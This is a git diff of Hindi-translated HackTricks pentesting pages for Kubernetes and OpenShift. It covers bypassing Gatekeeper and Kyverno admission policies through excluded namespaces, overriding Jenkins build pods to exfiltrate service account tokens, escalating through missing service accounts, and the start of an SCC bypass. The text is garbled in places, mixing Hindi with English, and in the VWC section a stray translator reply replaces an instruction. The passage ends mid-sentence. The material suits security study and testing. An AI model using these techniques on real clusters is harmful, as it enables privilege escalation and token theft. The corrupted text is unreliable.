यह "Kubernetes क्लस्टर में OPA Gatekeeper नीतियों की स्थिति देखने के लिए एक सरल _read-only_ वेब UI है।"
-खुले हुए सेवा के लिए खोजें : +खुले हुए सेवा के लिए खोजें: ```bash $ kubectl get services -A | grep gatekeeper $ kubectl get services -A | grep 'gatekeeper-policy-manager-system' ``` ### Excluded namespaces -जैसा कि ऊपर की छवि में दर्शाया गया है, कुछ नियम सभी namespaces या उपयोगकर्ताओं पर सार्वभौमिक रूप से लागू नहीं हो सकते हैं। इसके बजाय, वे एक व्हाइटलिस्ट आधार पर कार्य करते हैं। उदाहरण के लिए, `liveness-probe` बाधा को पांच निर्दिष्ट namespaces पर लागू करने से बाहर रखा गया है। +जैसा कि ऊपर की छवि में दर्शाया गया है, कुछ नियम सभी namespaces या उपयोगकर्ताओं पर समान रूप से लागू नहीं हो सकते। इसके बजाय, वे एक व्हाइटलिस्ट आधार पर कार्य करते हैं। उदाहरण के लिए, `liveness-probe` बाधा को पांच निर्दिष्ट namespaces पर लागू करने से बाहर रखा गया है। ### Bypass -Gatekeeper कॉन्फ़िगरेशन का व्यापक अवलोकन करते हुए, संभावित गलत कॉन्फ़िगरेशन की पहचान करना संभव है जिसे विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। उन व्हाइटलिस्टेड या बाहर किए गए namespaces की तलाश करें जहाँ नियम लागू नहीं होता है, और फिर वहाँ अपना हमला करें। +Gatekeeper कॉन्फ़िगरेशन का व्यापक अवलोकन करने पर, संभावित गलत कॉन्फ़िगरेशन की पहचान करना संभव है जिसे विशेषाधिकार प्राप्त करने के लिए शोषण किया जा सकता है। उन व्हाइटलिस्टेड या बाहर किए गए namespaces की तलाश करें जहाँ नियम लागू नहीं होता, और फिर वहाँ अपना हमला करें। {{#ref}} ../abusing-roles-clusterroles-in-kubernetes/ @@ -45,7 +47,7 @@ Gatekeeper कॉन्फ़िगरेशन का व्यापक अव ## Abusing ValidatingWebhookConfiguration -बाधाओं को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है : +बाधाओं को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है: {{#ref}} ../kubernetes-validatingwebhookconfiguration.md @@ -55,3 +57,5 @@ Gatekeeper कॉन्फ़िगरेशन का व्यापक अव - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 27655c7fc..625f1cc1f 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -1,14 +1,16 @@ # Kubernetes ValidatingWebhookConfiguration +{{#include ../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## परिभाषा -ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्व निर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है। +ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्वनिर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है। ## उद्देश्य -ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्व निर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा। +ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्वनिर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा। **उदाहरण** @@ -35,7 +37,7 @@ operations: resources: - pods ``` -ValidatingWebhookConfiguration और नीतियों के बीच मुख्य अंतर : +The main difference between a ValidatingWebhookConfiguration and policies :

Kyverno.png

@@ -46,25 +48,25 @@ ValidatingWebhookConfiguration और नीतियों के बीच म ``` $ kubectl get ValidatingWebhookConfiguration ``` -### Kyverno और Gatekeeper VWC का दुरुपयोग +### Abusing Kyverno and Gatekeeper VWC जैसा कि हम देख सकते हैं, सभी स्थापित ऑपरेटरों के पास कम से कम एक ValidatingWebHookConfiguration(VWC) है। **Kyverno** और **Gatekeeper** दोनों Kubernetes नीति इंजन हैं जो एक क्लस्टर में नीतियों को परिभाषित और लागू करने के लिए एक ढांचा प्रदान करते हैं। -अपवाद उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों में बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है! +Exceptions उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों में बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है! **kyverno** के लिए, जैसे ही एक मान्यकरण नीति होती है, वेबहुक `kyverno-resource-validating-webhook-cfg` भरा जाता है। Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML फ़ाइल है। -दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन प्रशासक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं। +दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन व्यवस्थापक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं। -### उपयोग का मामला +### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -अब निम्नलिखित आउटपुट की पहचान करें: +Please provide the output you would like me to identify or translate. ```yaml namespaceSelector: matchExpressions: @@ -79,9 +81,9 @@ values: ``` यहाँ, `kubernetes.io/metadata.name` लेबल नामस्थान के नाम को संदर्भित करता है। `values` सूची में नाम वाले नामस्थान नीति से बाहर रखे जाएंगे: -नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए जा सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी। +नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए गए हो सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी। -इस हमले का लक्ष्य VWC के अंदर **गलत कॉन्फ़िगरेशन** का लाभ उठाना है ताकि ऑपरेटर की सीमाओं को बायपास किया जा सके और फिर अन्य तकनीकों के साथ अपने विशेषाधिकारों को बढ़ाया जा सके। +इस हमले का लक्ष्य **गलत कॉन्फ़िगरेशन** का लाभ उठाना है जो VWC के अंदर है ताकि ऑपरेटर की प्रतिबंधों को बायपास किया जा सके और फिर अन्य तकनीकों के साथ आपके विशेषाधिकारों को बढ़ाया जा सके। {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -92,3 +94,5 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/README.md b/src/pentesting-cloud/openshift-pentesting/README.md index 72afdbe82..b644f53f9 100644 --- a/src/pentesting-cloud/openshift-pentesting/README.md +++ b/src/pentesting-cloud/openshift-pentesting/README.md @@ -1,5 +1,7 @@ # OpenShift Pentesting +{{#include ../../banners/hacktricks-training.md}} + ## मूल जानकारी {{#ref}} @@ -17,3 +19,7 @@ openshift-scc.md {{#ref}} openshift-privilege-escalation/ {{#endref}} + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md b/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md index 80e323a11..15f8d18e8 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md @@ -1,5 +1,7 @@ # OpenShift - मूल जानकारी +{{#include ../../banners/hacktricks-training.md}} + ## Kubernetes पूर्व b**asic knowledge** OpenShift के साथ काम करने से पहले, सुनिश्चित करें कि आप Kubernetes वातावरण के साथ सहज हैं। पूरा OpenShift अध्याय मानता है कि आपके पास Kubernetes का पूर्व ज्ञान है। @@ -8,7 +10,7 @@ OpenShift के साथ काम करने से पहले, सुन ### परिचय -OpenShift Red Hat का कंटेनर एप्लिकेशन प्लेटफॉर्म है जो Kubernetes सुविधाओं का एक सुपरसेट प्रदान करता है। OpenShift की सुरक्षा नीतियाँ अधिक कठोर हैं। उदाहरण के लिए, एक कंटेनर को रूट के रूप में चलाना मना है। यह सुरक्षा बढ़ाने के लिए एक सुरक्षित-डिफ़ॉल्ट विकल्प भी प्रदान करता है। OpenShift में एक वेब कंसोल है जिसमें एक-टच लॉगिन पृष्ठ शामिल है। +OpenShift Red Hat का कंटेनर एप्लिकेशन प्लेटफॉर्म है जो Kubernetes सुविधाओं का एक सुपरसेट प्रदान करता है। OpenShift की सुरक्षा नीतियाँ अधिक कठोर हैं। उदाहरण के लिए, एक कंटेनर को रूट के रूप में चलाना मना है। यह सुरक्षा बढ़ाने के लिए एक सुरक्षित-डिफ़ॉल्ट विकल्प भी प्रदान करता है। OpenShift में एक वेब कंसोल है जिसमें एक टच लॉगिन पृष्ठ शामिल है। #### CLI @@ -25,9 +27,9 @@ oc login -s= --token= ``` ### **OpenShift - सुरक्षा संदर्भ प्रतिबंध** -उपयोगकर्ता क्या कर सकता है, इसे नियंत्रित करने वाले [RBAC संसाधनों](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) के अलावा, OpenShift कंटेनर प्लेटफॉर्म _सुरक्षा संदर्भ प्रतिबंध_ (SCC) प्रदान करता है जो यह नियंत्रित करता है कि एक पॉड क्या क्रियाएँ कर सकता है और इसके पास क्या पहुँच है। +उस [RBAC संसाधनों](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) के अलावा जो यह नियंत्रित करते हैं कि एक उपयोगकर्ता क्या कर सकता है, OpenShift कंटेनर प्लेटफ़ॉर्म _सुरक्षा संदर्भ प्रतिबंध_ (SCC) प्रदान करता है जो यह नियंत्रित करते हैं कि एक पॉड क्या क्रियाएँ कर सकता है और इसके पास क्या पहुँच है। -SCC एक नीति वस्तु है जिसमें विशेष नियम होते हैं जो बुनियादी ढाँचे के साथ मेल खाते हैं, जबकि RBAC के नियम प्लेटफॉर्म के साथ मेल खाते हैं। यह हमें यह परिभाषित करने में मदद करता है कि कंटेनर को कौन से लिनक्स एक्सेस-नियंत्रण सुविधाएँ अनुरोध/चलाने की अनुमति होनी चाहिए। उदाहरण: लिनक्स क्षमताएँ, SECCOMP प्रोफाइल, लोकलहोस्ट डिर्स को माउंट करना, आदि। +SCC एक नीति वस्तु है जिसमें विशेष नियम होते हैं जो बुनियादी ढाँचे के साथ मेल खाते हैं, जबकि RBAC में नियम होते हैं जो प्लेटफ़ॉर्म के साथ मेल खाते हैं। यह हमें यह परिभाषित करने में मदद करता है कि कंटेनर को कौन से लिनक्स एक्सेस-नियंत्रण सुविधाएँ अनुरोध/चलाने की अनुमति होनी चाहिए। उदाहरण: लिनक्स क्षमताएँ, SECCOMP प्रोफाइल, लोकलहोस्ट डिर्स को माउंट करना, आदि। {{#ref}} openshift-scc.md @@ -36,3 +38,7 @@ openshift-scc.md {{#ref}} https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints {{#endref}} + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md index aacf23369..930a1715f 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md @@ -1,12 +1,14 @@ # OpenShift - Jenkins +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/) यह पृष्ठ बताता है कि आप Openshift (या Kubernetes) क्लस्टर में चल रहे Jenkins इंस्टेंस पर कैसे हमला कर सकते हैं। ## अस्वीकरण -Jenkins इंस्टेंस को Openshift या Kubernetes क्लस्टर में तैनात किया जा सकता है। आपके संदर्भ के आधार पर, आपको दिखाए गए किसी भी पेलोड, yaml या तकनीक को अनुकूलित करने की आवश्यकता हो सकती है। Jenkins पर हमले के बारे में अधिक जानकारी के लिए, आप [इस पृष्ठ](../../../pentesting-ci-cd/jenkins-security/) को देख सकते हैं। +Jenkins इंस्टेंस को Openshift या Kubernetes क्लस्टर में तैनात किया जा सकता है। आपके संदर्भ के आधार पर, आपको दिखाए गए किसी भी पेलोड, yaml या तकनीक को अनुकूलित करने की आवश्यकता हो सकती है। Jenkins पर हमले के बारे में अधिक जानकारी के लिए, आप [इस पृष्ठ](../../../pentesting-ci-cd/jenkins-security/index.html) को देख सकते हैं। ## पूर्वापेक्षाएँ @@ -18,7 +20,7 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस ### निर्माण -जब एक निर्माण ट्रिगर होता है, तो इसे पहले Jenkins मास्टर नोड द्वारा प्रबंधित/संयोजित किया जाता है और फिर एक एजेंट/स्लेव/वर्कर को सौंपा जाता है। इस संदर्भ में, मास्टर नोड बस एक नियमित पॉड है जो एक नामस्थान में चल रहा है (जो उस नामस्थान से भिन्न हो सकता है जहां वर्कर चलते हैं)। यही बात वर्कर्स/स्लेव्स पर भी लागू होती है, हालाँकि वे निर्माण समाप्त होने के बाद नष्ट हो जाते हैं जबकि मास्टर हमेशा चालू रहता है। आपका निर्माण आमतौर पर एक पॉड के अंदर चलता है, जो Jenkins प्रशासकों द्वारा परिभाषित डिफ़ॉल्ट पॉड टेम्पलेट का उपयोग करता है। +जब एक निर्माण ट्रिगर होता है, तो इसे पहले Jenkins मास्टर नोड द्वारा प्रबंधित/आयोजित किया जाता है और फिर एक एजेंट/स्लेव/वर्कर को सौंपा जाता है। इस संदर्भ में, मास्टर नोड बस एक नियमित पॉड है जो एक नामस्थान में चल रहा है (जो उस नामस्थान से भिन्न हो सकता है जहां वर्कर चलते हैं)। यही बात वर्कर्स/स्लेव्स पर भी लागू होती है, हालाँकि वे निर्माण समाप्त होने पर नष्ट हो जाते हैं जबकि मास्टर हमेशा चालू रहता है। आपका निर्माण आमतौर पर एक पॉड के अंदर चलता है, जो Jenkins प्रशासकों द्वारा परिभाषित डिफ़ॉल्ट पॉड टेम्पलेट का उपयोग करता है। ### निर्माण को ट्रिगर करना @@ -26,7 +28,7 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस 1. आपके पास Jenkins तक UI पहुंच है -एक बहुत आसान और सुविधाजनक तरीका है मौजूदा निर्माण की पुनरावृत्ति कार्यक्षमता का उपयोग करना। यह आपको एक पूर्व निष्पादित निर्माण को पुनः चलाने की अनुमति देता है जबकि आपको ग्रोवी स्क्रिप्ट को अपडेट करने की अनुमति देता है। इसके लिए Jenkins फ़ोल्डर पर विशेषाधिकार और एक पूर्व निर्धारित पाइपलाइन की आवश्यकता होती है। यदि आपको छिपकर काम करना है, तो आप अपनी ट्रिगर की गई निर्माणों को हटा सकते हैं यदि आपके पास पर्याप्त अनुमति है। +एक बहुत आसान और सुविधाजनक तरीका है मौजूदा निर्माण की पुनरावृत्ति कार्यक्षमता का उपयोग करना। यह आपको एक पूर्व निष्पादित निर्माण को पुनः चलाने की अनुमति देता है जबकि आपको ग्रोवी स्क्रिप्ट को अपडेट करने की अनुमति देता है। इसके लिए Jenkins फ़ोल्डर पर विशेषाधिकार और एक पूर्व परिभाषित पाइपलाइन की आवश्यकता होती है। यदि आपको छिपकर रहना है, तो आप अपनी ट्रिगर की गई निर्माणों को हटा सकते हैं यदि आपके पास पर्याप्त अनुमति है। 2. आपके पास SCM में लिखने की पहुंच है और स्वचालित निर्माण वेबहुक के माध्यम से कॉन्फ़िगर किए गए हैं @@ -37,3 +39,5 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस {{#ref}} openshift-jenkins-build-overrides.md {{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md index 8b299f90c..9926f7b73 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md @@ -1,9 +1,11 @@ # Jenkins in Openshift - build pod overrides +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/) ## Kubernetes plugin for Jenkins -यह प्लगइन ज्यादातर openshift/kubernetes क्लस्टर के अंदर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ [यहां](https://plugins.jenkins.io/kubernetes/) है। +यह प्लगइन मुख्य रूप से openshift/kubernetes क्लस्टर के भीतर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ [यहाँ](https://plugins.jenkins.io/kubernetes/) यह कुछ कार्यात्मकताएँ प्रदान करता है जैसे कि डेवलपर्स को जेनकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता। ## Core functionnality @@ -36,8 +38,8 @@ sh 'mvn -B -ntp clean install' ``` ## Some abuses leveraging pod yaml override -हालांकि, इसका दुरुपयोग किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित करने के लिए किया जा सकता है। -नीचे दिए गए उदाहरण में, हम चल रहे पॉड के सर्विसएकाउंट टोकन को एक्सफिल्ट्रेट कर सकते हैं। +यह किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने के लिए दुरुपयोग किया जा सकता है और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित किया जा सकता है। +नीचे दिए गए उदाहरण में, हम चल रहे पॉड का सर्विसएकाउंट टोकन निकाल सकते हैं। ```groovy podTemplate(yaml: ''' apiVersion: v1 @@ -161,29 +163,29 @@ sh 'env' } } ``` -समान तकनीक एक Secret को माउंट करने के लिए लागू होती है। यहाँ अंतिम लक्ष्य यह होगा कि आप अपने पोड निर्माण को प्रभावी ढंग से पिवट या विशेषाधिकार प्राप्त करने के लिए कैसे कॉन्फ़िगर करें। +The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges. -## आगे बढ़ना +## Going further -एक बार जब आप इसके साथ खेलने के लिए अभ्यस्त हो जाते हैं, तो जेनकिंस और कुबेरनेट्स/ओपनशिफ्ट पर अपने ज्ञान का उपयोग करें ताकि गलत कॉन्फ़िगरेशन/दुरुपयोग खोज सकें। +Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses. -अपने आप से निम्नलिखित प्रश्न पूछें: +Ask yourself the following questions: -- किस सेवा खाते का उपयोग निर्माण पोड को तैनात करने के लिए किया जा रहा है? +- कौन सा सेवा खाता निर्माण पॉड्स को तैनात करने के लिए उपयोग किया जा रहा है? - इसके पास कौन से भूमिकाएँ और अनुमतियाँ हैं? क्या यह उस नामस्थान के रहस्यों को पढ़ सकता है जिसमें मैं वर्तमान में हूँ? -- क्या मैं अन्य निर्माण पोड को और अधिक सूचीबद्ध कर सकता हूँ? -- एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पोड पर कमांड निष्पादित कर सकता हूँ? -- क्या मैं क्लस्टर को और अधिक सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ? -- कौन सा SCC लागू है? +- क्या मैं अन्य निर्माण पॉड्स को और सूचीबद्ध कर सकता हूँ? +- एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पॉड पर कमांड निष्पादित कर सकता हूँ? +- क्या मैं क्लस्टर को और सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ? +- कौन सा SCC लागू किया गया है? -आप यह पता लगा सकते हैं कि कौन से oc/kubectl कमांड जारी करने हैं [यहाँ](../openshift-basic-information.md) और [यहाँ](../../kubernetes-security/kubernetes-enumeration.md)। +You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md). -### संभावित privesc/pivoting परिदृश्य +### Possible privesc/pivoting scenarios -मान लीजिए कि आपकी मूल्यांकन के दौरान आपको पता चला कि सभी जेनकिंस निर्माण एक नामस्थान में चल रहे हैं जिसे _worker-ns_ कहा जाता है। आपने यह पता लगाया कि एक डिफ़ॉल्ट सेवा खाता जिसे _default-sa_ कहा जाता है, निर्माण पोड पर माउंट किया गया है, हालाँकि इसके पास कुछ संसाधनों पर पढ़ने की पहुँच के अलावा इतनी अनुमतियाँ नहीं हैं लेकिन आप एक मौजूदा सेवा खाते को पहचानने में सक्षम थे जिसे _master-sa_ कहा जाता है। -मान लीजिए कि आपके पास चल रहे निर्माण कंटेनर के अंदर oc कमांड स्थापित है। +Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_. +Let's also assume that you have the oc command installed inside the running build container. -नीचे दिए गए निर्माण स्क्रिप्ट के साथ आप _master-sa_ सेवा खाते पर नियंत्रण प्राप्त कर सकते हैं और आगे सूचीबद्ध कर सकते हैं। +With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further. ```groovy pipeline { stages { @@ -220,7 +222,7 @@ sh 'oc --token=$token whoami' ```bash oc login --token=$token --server=https://apiserver.com:port ``` -यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा संग्रहीत करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए। +यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड्स को निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा को स्टोर करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए। ```bash oc rsh pod_name -c container_name ``` @@ -258,3 +260,7 @@ sh 'env' } } } + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md index 9bee63e33..8044a06cb 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md @@ -1,19 +1,25 @@ -# OpenShift - विशेषाधिकार वृद्धि +# OpenShift - Privilege Escalation -## सेवा खाता गायब +{{#include ../../../banners/hacktricks-training.md}} + +## Missing Service Account {{#ref}} openshift-missing-service-account.md {{#endref}} -## टेकटन +## Tekton {{#ref}} openshift-tekton.md {{#endref}} -## SCC बायपास +## SCC Bypass {{#ref}} openshift-scc-bypass.md {{#endref}} + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md index 76fdaede7..4afbe3717 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md @@ -1,14 +1,16 @@ # OpenShift - Missing Service Account +{{#include ../../../banners/hacktricks-training.md}} + ## Missing Service Account -यह होता है कि क्लस्टर को पूर्व-निर्धारित टेम्पलेट के साथ तैनात किया गया है जो स्वचालित रूप से Roles, RoleBindings और यहां तक कि SCC को सेवा खाते के लिए सेट करता है जो अभी तक बनाया नहीं गया है। यदि आप उन्हें बना सकते हैं तो यह विशेषाधिकार वृद्धि का कारण बन सकता है। इस मामले में, आप नए बनाए गए SA का टोकन और संबंधित भूमिका या SCC प्राप्त कर सकेंगे। समान मामला तब होता है जब गायब SA एक गायब प्रोजेक्ट का हिस्सा होता है, इस मामले में यदि आप प्रोजेक्ट बना सकते हैं और फिर SA बना सकते हैं, तो आप संबंधित Roles और SCC प्राप्त करते हैं। +यह होता है कि क्लस्टर को पूर्व-निर्धारित टेम्पलेट के साथ तैनात किया गया है जो स्वचालित रूप से Roles, RoleBindings और यहां तक कि SCC को उस सेवा खाते के लिए सेट करता है जो अभी तक बनाया नहीं गया है। यदि आप उन्हें बना सकते हैं तो यह विशेषाधिकार वृद्धि की ओर ले जा सकता है। इस मामले में, आप नए बनाए गए SA का टोकन और संबंधित भूमिका या SCC प्राप्त कर सकेंगे। वही मामला तब होता है जब गायब SA एक गायब प्रोजेक्ट का हिस्सा है, इस मामले में यदि आप प्रोजेक्ट बना सकते हैं और फिर SA बना सकते हैं, तो आप संबंधित Roles और SCC प्राप्त करते हैं।
-पिछले ग्राफ में हमारे पास कई AbsentProject हैं जिसका अर्थ है कि कई प्रोजेक्ट हैं जो Roles Bindings या SCC में दिखाई देते हैं लेकिन अभी तक क्लस्टर में बनाए नहीं गए हैं। उसी संदर्भ में हमारे पास एक AbsentServiceAccount भी है। +पिछले ग्राफ में हमारे पास कई AbsentProject हैं, जिसका अर्थ है कि कई प्रोजेक्ट हैं जो Roles Bindings या SCC में दिखाई देते हैं लेकिन अभी तक क्लस्टर में बनाए नहीं गए हैं। इसी तरह हमारे पास एक AbsentServiceAccount भी है। -यदि हम एक प्रोजेक्ट और उसमें गायब SA बना सकते हैं, तो SA उस भूमिका या SCC से विरासत में मिलेगा जो AbsentServiceAccount को लक्षित कर रहा था। जो विशेषाधिकार वृद्धि का कारण बन सकता है। +यदि हम एक प्रोजेक्ट और उसमें गायब SA बना सकते हैं, तो SA उस Role या SCC से विरासत में मिलेगा जो AbsentServiceAccount को लक्षित कर रहा था। जो विशेषाधिकार वृद्धि की ओर ले जा सकता है। निम्नलिखित उदाहरण एक गायब SA को दिखाता है जिसे node-exporter SCC दिया गया है: @@ -16,8 +18,10 @@ ## Tools -इस समस्या को सूचीबद्ध करने और सामान्य रूप से OpenShift क्लस्टर को ग्राफ करने के लिए निम्नलिखित उपकरण का उपयोग किया जा सकता है: +निम्नलिखित उपकरण का उपयोग इस समस्या को सूचीबद्ध करने और सामान्य रूप से OpenShift क्लस्टर को ग्राफ करने के लिए किया जा सकता है: {{#ref}} https://github.com/maxDcb/OpenShiftGrapher {{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md index a69b5a959..16dc6b092 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md @@ -1,5 +1,7 @@ # Openshift - SCC bypass +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## Privileged Namespaces @@ -13,14 +15,14 @@ - **openshift-infra** - **openshift** -यदि आप इन नामस्थान में पॉड्स तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल सिस्टम को माउंट करने की अनुमति मिलेगी। +यदि आप इन नामस्थान में से किसी एक के 